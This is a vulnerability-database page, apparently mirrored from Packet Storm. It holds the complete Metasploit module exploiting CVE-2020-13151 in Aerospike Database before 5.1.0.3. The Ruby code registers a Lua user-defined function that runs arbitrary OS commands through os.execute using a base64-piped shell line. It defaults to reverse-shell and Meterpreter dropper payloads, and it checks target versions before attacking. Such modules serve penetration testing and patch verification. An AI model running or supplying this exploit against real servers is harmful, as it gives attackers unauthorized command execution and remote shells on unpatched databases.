Lucene search
K

Aerospike Database UDF Lua Code Execution

🗓️ 11 Dec 2020 00:00:00Reported by Brendan ColesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1765 Views

This module exploits a code execution vulnerability in the Aerospike Database, allowing the execution of arbitrary OS commands with the privileges of the user running the service

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Aerospike Database UDF Lua Code Execution',  
'Description' => %q{  
Aerospike Database versions before 5.1.0.3 permitted  
user-defined functions (UDF) to call the `os.execute`  
Lua function.  
  
This module creates a UDF utilising this function to  
execute arbitrary operating system commands with the  
privileges of the user running the Aerospike service.  
  
This module does not support authentication; however  
Aerospike Database Community Edition does not enable  
authentication by default.  
  
This module has been tested successfully on Ubuntu  
with Aerospike Database Community Edition versions  
4.9.0.5, 4.9.0.11 and 5.0.0.10.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'b4ny4n', # Discovery and exploit  
'bcoles' # Metasploit  
],  
'References' =>  
[  
['EDB', '49067'],  
['CVE', '2020-13151'],  
['PACKETSTORM', '160106'],  
['URL', 'https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3'],  
['URL', 'https://github.com/b4ny4n/CVE-2020-13151'],  
['URL', 'https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html'],  
['URL', 'https://www.aerospike.com/docs/operations/manage/udfs/'],  
],  
'Platform' => %w[linux unix],  
'Targets' =>  
[  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },  
'Type' => :unix_command  
}  
],  
[  
'Linux (Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'Type' => :linux_dropper  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-07-31',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
Opt::RPORT(3000)  
]  
)  
register_advanced_options(  
[  
OptString.new('UDF_DIRECTORY', [true, 'Directory where Lua UDF files are stored', '/opt/aerospike/usr/udf/lua/'])  
]  
)  
end  
  
def build  
header = ['02010000'].pack('H*')  
data = "build\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def remove_udf(name)  
header = ['02010000'].pack('H*')  
data = "udf-remove:filename=#{name};\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def list_udf  
header = ['02010000'].pack('H*')  
data = "udf-list\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def upload_udf(name, data, type = 'LUA')  
header = ['02010000'].pack('H*')  
content = Rex::Text.encode_base64(data)  
data = "udf-put:filename=#{name};content=#{content};content-len=#{content.length};udf-type=#{type};\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def features  
header = ['02010000'].pack('H*')  
data = "features\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def execute_command(cmd, _opts = {})  
fname = "#{rand_text_alpha(12..16)}.lua"  
print_status("Creating UDF '#{fname}' ...")  
  
# NOTE: we manually remove the lua file as unregistering the UDF  
# does not remove the lua file from disk.  
cmd_exec = Rex::Text.encode_base64("rm '#{datastore['UDF_DIRECTORY']}/#{fname}'; #{cmd}")  
  
# NOTE: this jank to execute the payload in the background is required as  
# sometimes the payload is executed twice (before the UDF is unregistered).  
#  
# Executing the payload in the foreground causes the thread to block while  
# the second payload tries and fails to connect back.  
#  
# This would cause the subsequent call to unregister the UDF to fail,  
# permanently backdooring the system (that's bad).  
res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})  
  
return unless res.to_s.include?('error')  
  
if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res  
print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")  
else  
print_error('UDF registration failed')  
end  
ensure  
# NOTE: unregistering the UDF is super important as leaving the UDF  
# registered causes the payload to be executed repeatedly, effectively  
# permanently backdooring the system (that's bad).  
if remove_udf(fname).to_s.include?('ok')  
vprint_status("UDF '#{fname}' removed successfully")  
else  
print_warning("UDF '#{fname}' could not be removed")  
end  
end  
  
def check  
connect  
  
res = build  
  
unless res  
return CheckCode::Unknown('Connection failed')  
end  
  
version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first  
  
unless version  
return CheckCode::Safe('Target is not Aerospike Database')  
end  
  
vprint_status("Aerospike Database version #{version}")  
  
if Gem::Version.new(version) >= Gem::Version.new('5.1.0.3')  
return CheckCode::Safe('Version is not vulnerable')  
end  
  
unless features.to_s.include?('udf')  
return CheckCode::Safe('User defined functions are not supported')  
end  
  
CheckCode::Appears  
end  
  
def exploit  
# NOTE: maximum packet size is 65,535 bytes and we lose some space to  
# packet overhead, command stager overhead, and double base64 encoding.  
max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.  
if payload.encoded.length > max_size  
fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")  
end  
  
print_status("Sending payload (#{payload.encoded.length} bytes) ...")  
case target['Type']  
when :unix_command  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(linemax: max_size, background: true)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation